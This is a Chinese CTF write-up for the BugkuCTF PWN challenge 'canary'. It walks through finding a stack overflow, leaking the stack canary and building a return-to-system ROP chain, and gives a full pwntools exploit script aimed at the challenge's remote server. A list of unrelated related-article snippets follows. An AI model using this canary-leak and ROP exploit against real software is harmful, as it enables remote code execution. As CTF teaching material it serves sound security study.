BugkuCTF-PWN题canary超详细讲解

知识点

小端序说明,数据在内存里是如何存储的?下表里数据都为16进制
在这里插入图片描述

解题流程

在这里插入图片描述
题目Hint:更新 LibcSeacher 的 libc-database

checksec查看保护机制
在这里插入图片描述
存在Canary和NX。

在这里插入图片描述
0x28=40
0x10=16
0x29=41
0x300=768
0x2C=44

buf长度为48,而read读取长度为768
v5长度为520,而read读取长度为768
所以存在栈溢出漏洞
在这里插入图片描述
注意关注以下两条语句
.text:000000000040082C mov rax, fs:28h
.text:0000000000400835 mov [rbp+var_8], rax
canary存在rbp+var_8,可以在0x40082C下断点,观察下。
在这里插入图片描述
输入n可以看到,rax寄存器的值变为了RAX 0xeb3ebba93e8f0500
在这里插入图片描述
可以观察,随后会把rax的值放在rbp-8的位置
在这里插入图片描述
把canary这个值存内存里是这个样子的
在这里插入图片描述
在这里插入图片描述
所以现在的思路是首先依据第一次回显泄露canary的值,第二次通过利用泄露的canary值实现栈溢出。

64位程序优先通过寄存器rdi传参,所以先找pop rdi
在这里插入图片描述
这里还缺/bin/sh,利用ROPgadget --binary pwn4_canary --string “/bin/sh”
在这里插入图片描述
将"/bin/sh"作为参数传给system函数,然后调用

exp

from pwn import *
#sh = process('./pwn4_')
#context.log_level = 'debug'
sh = remote('114.67.246.176',11788)sh.recvuntil('Please leave your name(Within 36 Length)')payload1 = 'a' * 568
sh.sendline(payload1)
sh.recvuntil('a' * 568 + '\n')
#canary = u64(sh.recv(8)) - 0xa
canary = u64(b'\x00' + sh.recv(7))
log.info('canary: ' + hex(canary))sh.recvuntil('Please leave a message(Within 0x200 Length)')
pop_rdi_ret = 0x0000000000400963
system_addr = 0x400660
binsh_addr = 0x0000000000601068payload2 = b'a' * 520 + p64(canary) + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.send(payload2)
sh.interactive()

运行:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/525186.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Cloud一分钟 |乐视系近亿元资产被查封;快手推出新社区产品,取名“蹦迪”;高通:已终止收购恩智浦的交易...

戳蓝字“CSDN云计算”关注我们哦!Hello,everyone:12月4日早,星期二CSDN一分钟新闻时间:乐视系近亿元资产被查封 裁定查封、扣押或冻结三家乐视系公司名下价值9002.2万元财产。 …

Python next 函数 - Python零基础入门教程

目录 一.Python next 函数简介二.Python next 函数使用三.猜你喜欢 基础 Python 学习路线推荐 : Python 学习目录 >> Python 基础入门 Python 3.x 内置函数 next 可以从迭代器中检索下一个元素或者数据,可以用于迭代器遍历,使用的时候注意会触发 …

变量命名规则

常量 1.初始化后值不可改变,用final修饰,标识符大写 final double PI3.14; 变量命名规则 1.所有变量、方法、类名见名知意 2.类成员变量:首字母小写和驼峰原则lastName 3.局部变量:首字母小写和驼峰原则 4.常量&#xff1a…

BugkuCTF-Crypto题散乱的密文

描述: lf5{ag024c483549d7fd1} 一张纸条上凌乱的写着2 1 6 5 3 4 知识点:列位移密码,密钥为216534 打开密码机器下载版.htm 点击解密得到flag

Python help 函数 - Python零基础入门教程

目录 一.Python help 函数简介二.Python help 函数使用 1.查看内置函数的帮助信息2.查看数据类型的帮助信息 三.猜你喜欢 基础 Python 学习路线推荐 : Python 学习目录 >> Python 基础入门 Python 3.x 版本虽然比 2.x 少了一些内置函数,但是 **Python 内置 *…

倒计时 2 天,2018 中国大数据技术大会(BDTC)报名通道即将关闭(附参会提醒)...

戳蓝字“CSDN云计算”关注我们哦!2018 年12 月 6-8 日,由中国计算机学会主办,CCF大数据专家委员会承办,CSDN、中科天玑数据科技股份有限公司协办的 2018 中国大数据技术大会(BDTC),携主题“大数…

运算符细节讲解

1.算数运算符&#xff0c;-&#xff0c;*&#xff0c;/&#xff0c;%&#xff0c;&#xff0c;-- 2.赋值运算符 3.关系运算符>,<,>,<,,!instanceof 4.逻辑运算符&&&#xff0c;||&#xff0c;&#xff01; package operator; ​ public class Demo01 {…

BugkuCTF-PWN题pwn5-overflow2超详细讲解

知识点 setvbuf: setvbuf函数的功能&#xff1a; 如果你的内存足够大&#xff0c;可以把文件IO的BUF设置大一些&#xff0c;这样每次你用 fopen/fread/fwrite/fscanf/fprintf语句的时候&#xff0c;都会在内存里操作&#xff0c;减少内存到磁盘IO读写的操作次数&#xff0c;提…

下载 / 安装 Visual Studio - C语言零基础入门教程

目录 一.下载 Visual Studio 1.Visual Studio 下载地址2.Visual Studio 分类3.Visual Studio 下载 二.安装 Visual Studio 1.安装虚拟光驱2.安装 VS 三.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 天下武功&#xff0c;唯快不破&#xff0c;虽…

包机制、阿里巴巴开发手册

公司域名倒置作为包名 com.baidu.www 阿里巴巴开发手册可百度搜索看看

想让马云成为你的老大?揭秘阿里面试情景

戳蓝字“CSDN云计算”关注我们哦&#xff01;前言最近评论的小伙伴总是会问&#xff0c;如何面试阿里Java技术岗&#xff0c;需要什么条件&#xff0c;做哪些准备&#xff1b;小编就这些问题找到了阿里技术团队中在一线真正带Java开发团队并直接参与技术面试的专家&#xff0c;…

BugkuCTF-PWN题pwn6-printf超详细讲解(未提供Libc版本)

前言 此题是我根据某大佬wp(从Libc官网下载的Libc)解出的&#xff0c;我在他的exp脚本基础上进行修改通过LibcSearcher搜索可利用的Libc&#xff0c;因为这道题在Bugku未提供Libc版本 有些部分很难理解&#xff0c;如果有大佬知道的&#xff0c;还请不吝赐教 还是先把解题流…

安装 Visual Studio 插件 Visual Assist - C语言零基础入门教程

目录 一.下载 Visual Assist 插件二.安装 Visual Assist 插件 1.运行 VA_X_Setup2270_0.exe2.激活插件3.重启 Visual Studio 完成安装 三.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 前一篇文章中我们已经把 Visual Studio 2015 安装 好了&…

名企程序员被裁实录:早上还在改 Bug,晚上就成下岗工

戳蓝字“CSDN云计算”关注我们哦&#xff01;尽管最近新闻铺天盖地的“寒冬说”&#xff0c;由于我多年身处在稳定的大公司里&#xff0c;并没有太多的危机感。昨天大伙一起讨论年会表演什么节目&#xff0c;你演宁采臣&#xff0c;他男扮女装演小倩&#xff0c;大胖就演宁采臣…

BugkuCTF-PWN题pwn7-repeater详细讲解多解法

知识点 解题流程 方法一 查看文件类型&#xff1a; 32位文件 查看保护机制 只开启了NX 32位IDA打开 伪码&#xff1a; 0x70112 0x64100 发现该题目为典型的格式字符串漏洞。 解题思路 此题的大概思路如下&#xff1a; 1、找到libc_start_main在栈内的偏移&#xff0c;…

设置 Visual Studio 文件版权信息 - C语言零基础入门教程

目录 一.手动修改原始代码模板二.通过插件 Visual Assist 设置版权信息 1.安装插件 Visual Assist2.打开 VS&#xff0c;找到 VAssistX 选项3.设置模板内容4.点击 OK&#xff0c;设置完成 三.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 写代码…

流程控制详解

Scanner对象&#xff1a;java5新特性&#xff0c;获取用户输入 语法&#xff1a;Scanner snew Scanner&#xff08;System.in&#xff09;; next()和nextLine()获取输入&#xff0c;hasNext()和hasNextLine()判断是否还有输入数据 example&#xff1a; package com.wuming.s…

HR怒甩程序员男友:不加班没上进没前途,网友:惹不起

戳蓝字“CSDN云计算”关注我们哦&#xff01;对于程序员来说&#xff0c;加班就是家常便饭&#xff0c;但也有特例&#xff0c;最近就有为女 HR 在某论坛吐槽&#xff1a;最近和一个程序员谈恋爱&#xff0c;只持续三天就把程序员甩了&#xff0c;原因是男朋友每天六点下班&…

BugkuCTF-Crypto题rsa

解题流程 n&#xff0c;e已经给出&#xff0c;可以看出e特别大&#xff0c;在e特别大的情况下&#xff0c;可以使用wiener attack的方法进行破解&#xff0c;正好工具RsaCtfTool集成了wiener attack的方法&#xff0c;所以可以直接使用RsaCtfTool计算私钥。 典型的rsa… 密钥的…

Visual Studio 2008 完全卸载 - C语言零基础入门教程

目录 一.VS2008 卸载方式一 (不推荐)二.VS2008 卸载方式一 ( 推荐)三.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 Visual Studio 已经更新到 2019&#xff0c;可能部分公司为了保证代码的兼容性&#xff0c;还是在使用比较老的 2005 或者 2008…